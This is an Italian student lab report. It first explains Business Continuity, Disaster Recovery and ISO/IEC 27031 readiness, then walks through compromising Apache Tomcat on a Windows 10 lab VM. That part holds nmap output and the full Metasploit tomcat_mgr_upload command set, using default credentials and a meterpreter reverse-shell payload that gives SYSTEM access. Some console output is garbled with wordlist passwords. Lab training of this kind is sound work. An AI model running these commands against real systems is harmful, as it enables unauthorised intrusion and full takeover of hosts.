

Security Operation: azioni preventive

&

Apache Tomcat Windows 10

Metasploit

Sommario

Traccia esercizio base	2
Traccia esercizio extra.....	2
Svolgimento esercizio extra base.....	3
1. Documentarsi su Business Continuity (BC) e Disaster Recovery (DR)	3
2. Tabella comparativa tra Business Continuity (BC) e Disaster Recovery (DR)	3
3. Comprendere il concetto di ICT readiness for business continuity (IRBC - ISO/IEC 27031)	3
Svolgimento esercizio extra	4
Configurazione del laboratorio	4
Scansione	4
Hydra	5
msfconsole	6

Traccia esercizio base

1. Documentarsi su Business Continuity (BC) e Disaster Recovery (DR);
2. Produrre una tabella comparativa che evidensi le differenze tra BC e DR;
3. Comprendere il concetto di ICT readiness for business continuity (IRBC - ISO/IEC 27031).

Traccia esercizio extra

sfruttare la vulnerabilità tomcat su windows 10 metaspitable

Svolgimento esercizio extra base

1. Documentarsi su Business Continuity (BC) e Disaster Recovery (DR)

Business Continuity (BC) e **Disaster Recovery (DR)** sono due strategie fondamentali per garantire che un'azienda possa continuare a operare anche in caso di imprevisti o disastri.

- **Business Continuity (BC):** È l'insieme di misure e piani che un'azienda mette in atto per garantire che le operazioni essenziali possano continuare, anche durante eventi critici come guasti tecnologici, disastri naturali o pandemie. L'obiettivo principale è mantenere le attività aziendali senza interruzioni o con interruzioni minime.
- **Disaster Recovery (DR):** È un sottogruppo della BC, focalizzato sul ripristino dei sistemi IT e delle infrastrutture tecnologiche dopo un evento disastroso. Il DR si concentra principalmente su come ripristinare dati e sistemi informatici il più rapidamente possibile per tornare alla normalità.

2. Tabella comparativa tra Business Continuity (BC) e Disaster Recovery (DR)

Caratteristica	Business Continuity (BC)	Disaster Recovery (DR)
Definizione	Piani e procedure per mantenere operative le funzioni aziendali durante e dopo un'interruzione	Ripristino dei sistemi IT dopo un disastro
Focus principale	Continuità di tutte le operazioni aziendali	Ripristino di dati e infrastrutture IT
Obiettivo	Assicurare che l'azienda possa operare anche durante eventi imprevisti	Recuperare i servizi IT e i dati dopo un disastro
Orizzonte temporale	Prima, durante e dopo un'interruzione	Dopo un'interruzione o disastro
Coinvolgimento	Tutte le aree aziendali	Principalmente il reparto IT
Esempi di eventi	Interruzioni di forniture, pandemie, attacchi informatici, disastri naturali	Guasti hardware, cyber-attacchi, incendi
Durata delle misure	Misure a lungo termine	Misure a breve termine fino al ripristino

3. Comprendere il concetto di ICT readiness for business continuity (IRBC- ISO/IEC 27031)

ICT Readiness for Business Continuity (IRBC), definito dalla norma **ISO/IEC 27031**, riguarda la capacità di un'azienda di prepararsi, rispondere e riprendersi da interruzioni che riguardano i sistemi ICT (Tecnologie dell'Informazione e Comunicazione).

L'IRBC si concentra su:

- **Pianificazione:** Preparare l'infrastruttura ICT in modo che possa sostenere le operazioni aziendali anche durante un'interruzione.
- **Resilienza:** Assicurarsi che i sistemi ICT siano robusti e capaci di resistere a eventi imprevisti.
- **Ripristino rapido:** Garantire che, in caso di guasto, i sistemi ICT possano essere ripristinati rapidamente per ridurre al minimo i tempi di inattività.

In sintesi, l'IRBC è una parte essenziale della Business Continuity, assicurando che la tecnologia su cui le aziende fanno affidamento sia sempre pronta a mantenere le attività anche in condizioni di emergenza.

Svolgimento esercizio extra

Configurazione del laboratorio

Si è preferito impostare gli indirizzi in IP statico

- Kali Linux IP statico: 192.168.11.111
- Windows 10 IP statico: 192.168.11.103

Scansione

Si effettua una scansione con nmap.

Firewall Off: **nmap -sV 192.168.11.103**

```
Not shown: 982 closed tcp ports (reset)
PORT      STATE SERVICE          VERSION
7/tcp      open  echo
9/tcp      open  discard?
13/tcp     open  daytime         Microsoft Windows International
daytime
17/tcp     open  qotd            Windows qotd (English)
19/tcp     open  chargen
80/tcp     open  http             Microsoft IIS httpd 10.0
135/tcp    open  msrpc           Microsoft Windows RPC
139/tcp    open  netbios-ssn     Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds   Microsoft Windows 7 - 10 microso
ft-ds (workgroup: WORKGROUP)
1801/tcp   open  msmq?
2103/tcp   open  msrpc           Microsoft Windows RPC
2105/tcp   open  msrpc           Microsoft Windows RPC
2107/tcp   open  msrpc           Microsoft Windows RPC
3389/tcp   open  ssl/ms-wbt-server?
5432/tcp   open  postgresql?
8009/tcp   open  ajp13           Apache Jserv (Protocol v1.3)
8080/tcp   open  http            Apache Tomcat/Coyote JSP engine
1.1
8443/tcp   open  ssl/https-alt
MAC Address: 08:00:27:34:8B:30 (Oracle VirtualBox virtual NIC)
Service Info: Host: DESKTOP-9K104BT; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 172.06 seconds
```

Dalla scansione si prova a recarsi nella pagina web del servizio Apache Tomcat, quindi IP target con porta 8080: <http://192.168.11.103:8080/>

The screenshot shows a browser window with the following details:

- Address Bar:** Not secure 192.168.11.103:8080
- Header:** Home Documentation Configuration Examples Wiki Mailing Lists Find Help
- Title:** Apache Tomcat/7.0.81
- Content Area:**
 - A green banner at the top says: "If you're seeing this, you've successfully installed Tomcat. Congratulations!"
 - To the left is a cartoon cat icon.
 - Text: "Recommended Reading:
[Security Considerations HOW-TO](#)
[Manager Application HOW-TO](#)
[Clustering/Session Replication HOW-TO](#)"
 - To the right is a red arrow pointing to a box containing three buttons: "Server Status", "Manager App", and "Host Manager".
 - At the bottom, there are links for "Developer Quick Start", "Tomcat Setup", "First Web Application", "Realms & AAA", "JDBC DataSources", "Examples", "Servlet Specifications", and "Tomcat Versions".
- Sign-in Dialog:** Overlaid on the right side of the browser window.
 - Header: Sign in
 - Text: "http://192.168.11.103:8080
Your connection to this site is not private"
 - Fields: "Username" and "Password", both with placeholder text.
 - Buttons: "Cancel" and "Sign in"

Chiede la password se ci si reca in uno dei servizi in figura per la gestione.

msfconsole

Comandi:

- **use exploit/multi/http/tomcat_mgr_upload**
- **set target 1**
- **set RHOSTS 192.168.11.103**
- **set RPORT 8080**
- **set HttpUsername admin**
- **set HttpPassword password**
- **set TARGETURI /manager**
- **set payload windows/meterpreter/reverse_tcp**
- **set LHOST 192.168.11.111**
- **set LPORT 4444**
- **run**

Come exploit si è scelto il modulo reputato excellent “tomcat_mgr_upload con Windows Universal” dove si sono settati IP target, porta target, username e password ottenuti con hydra.

```
Name      Current Setting  Required  Description
HttpPassword  password    no        The password for the specified username
HttpUsername  admin      no        The username to authenticate as
Proxies      defaultHTTP  no        A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS       192.168.11.103 yes      The target host(s), see https://docs.metasploit.com
                    12345
RPORT        8080       yes      The target port (TCP)
SSL          false      no        Negotiate SSL/TLS for outgoing connections
TARGETURI    /manager   yes      The URI path of the manager app (/html/upload and /
                    170
                    undeploy will be used)
VHOST        princess  no        HTTP server virtual host
                    1234567
                    rockyou
Payload options (windows/meterpreter/reverse_tcp):
                    abc123
Name      Current Setting  Required  Description
EXITFUNC  process      yes      Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.11.111 yes      The listen address (an interface may be specified)
LPORT     4444        yes      The listen port

Exploit target:
Id  Name
--  --
1  Windows Universal

C:\>ipconfig 123456
ipconfig 12345
123456789
Configurazione IP di Windows
iloveyou
Scheda Ethernet Ethernet:
Suffisso DNS specifico per connessione:
Indirizzo IPv6 locale rispetto al collegamento . : fe80::b920:b687:2b96:e06f%4
Indirizzo IPv4 . . . . . : 192.168.11.103
Subnet mask . . . . . : 255.255.255.0
Gateway predefinito . . . . . : 192.168.11.1

Scheda Tunnel isatap.{92D61F82-1D19-45C9-B7CF-2E5AF2D63627}:
Cancel OK
Stato supporto. . . . . : Supporto disconnesso
Suffisso DNS specifico per connessione:

C:\>exit
exit
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > ■
```